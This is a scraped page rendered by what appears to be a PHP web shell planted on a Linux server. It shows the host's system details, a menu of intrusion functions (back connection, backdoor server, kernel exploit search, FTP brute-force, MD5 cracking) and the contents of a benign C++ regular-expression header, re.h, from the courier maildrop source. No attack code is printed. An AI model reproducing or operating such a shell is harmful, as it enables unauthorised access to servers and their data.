|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 25.72 GB of 70.42 GB (36.52%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
src/
courier-0.66.1/
maildrop/
- drwxrwxrwx
|
Viewing file: re.h (2.85 KB) -rw-rw-rw-Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
#ifndef re_h #define re_h
#include "config.h" #include <sys/types.h> #include "funcs.h" #include "reeval.h"
class ReMatch;
/////////////////////////////////////////////////////////////////////////// // // The Re class represents a regular expression. The regular expression // is translated into a non-deterministic automaton, stored as a list // of RegExpNodes. // // Then, one or more strings are matched against the regular expression. // // The Re object may dynamically allocate another Re object in order to // implement the ! operator. Each ! operator introduces a dynamically- // allocated Re object, which contains the next chained regular expression. // Another ! operator causes another object to be allocated. // // The ^ and $ anchors are implemented here. The ABSENCE of a ^ anchor // causes a dummy "[.\n]*" expression to be created in the first Re object, // with the real expression being parsed in the 2nd Re object. // // When a string is matched against a regular expression, when the current // state includes a FINAL state, and there is a chained Re object, the // remainder of the string gets matched against the chained Re object. // If the chained matched succeeds, the entire match succeeds, otherwise, // we continue matching the original string. // // If a match is succesfull, MatchCount() may be called to return the number // of characters that were matched. If an ! operator is used, the optional // argument to MatchCount(), if not null, can be used to call MatchCount() // to return the count that the next expression matched. // ///////////////////////////////////////////////////////////////////////////
class RegExpNode;
class Re {
Re *chainedre; // Chained regular expression Re *prevre; RegExpNode *nodes; // Singly-linked list of nodes RegExpNode *first; // Starting node RegExpNode *final; // Final node unsigned nextid; // When creating, next ID to assign
RegExpNode *allocnode(); const char *expr, *origexpr;
// When matching: int matched; off_t matchedpos; ReEval *curstate, *nextstate; unsigned final_id;
int curchar() { return ((int)(unsigned char)*expr); } void nextchar() { ++expr; } int casesensitive; int matchFull; int isCaret; int isDummy; public: Re(); ~Re();
int Compile(const char *, int, int &); // Compile regular expression private: int CompileS(const char *, int, int &);
void init(); RegExpNode **CompileAtom(RegExpNode **); RegExpNode **CompileAtomString(RegExpNode **); RegExpNode **CompileOrClause(RegExpNode **); RegExpNode **CompileElement(RegExpNode **); void is_sets(RegExpNode *);
int parsechar();
// Evaluation
ReEval state1, state2; unsigned charsmatched; public: int Match(ReMatch &); unsigned MatchCount(Re **p =0) { if (p) *p=chainedre; return (charsmatched); } int IsDummy() { return (isDummy); } int IsAnchorStart() { return (isCaret); } } ;
#endif
|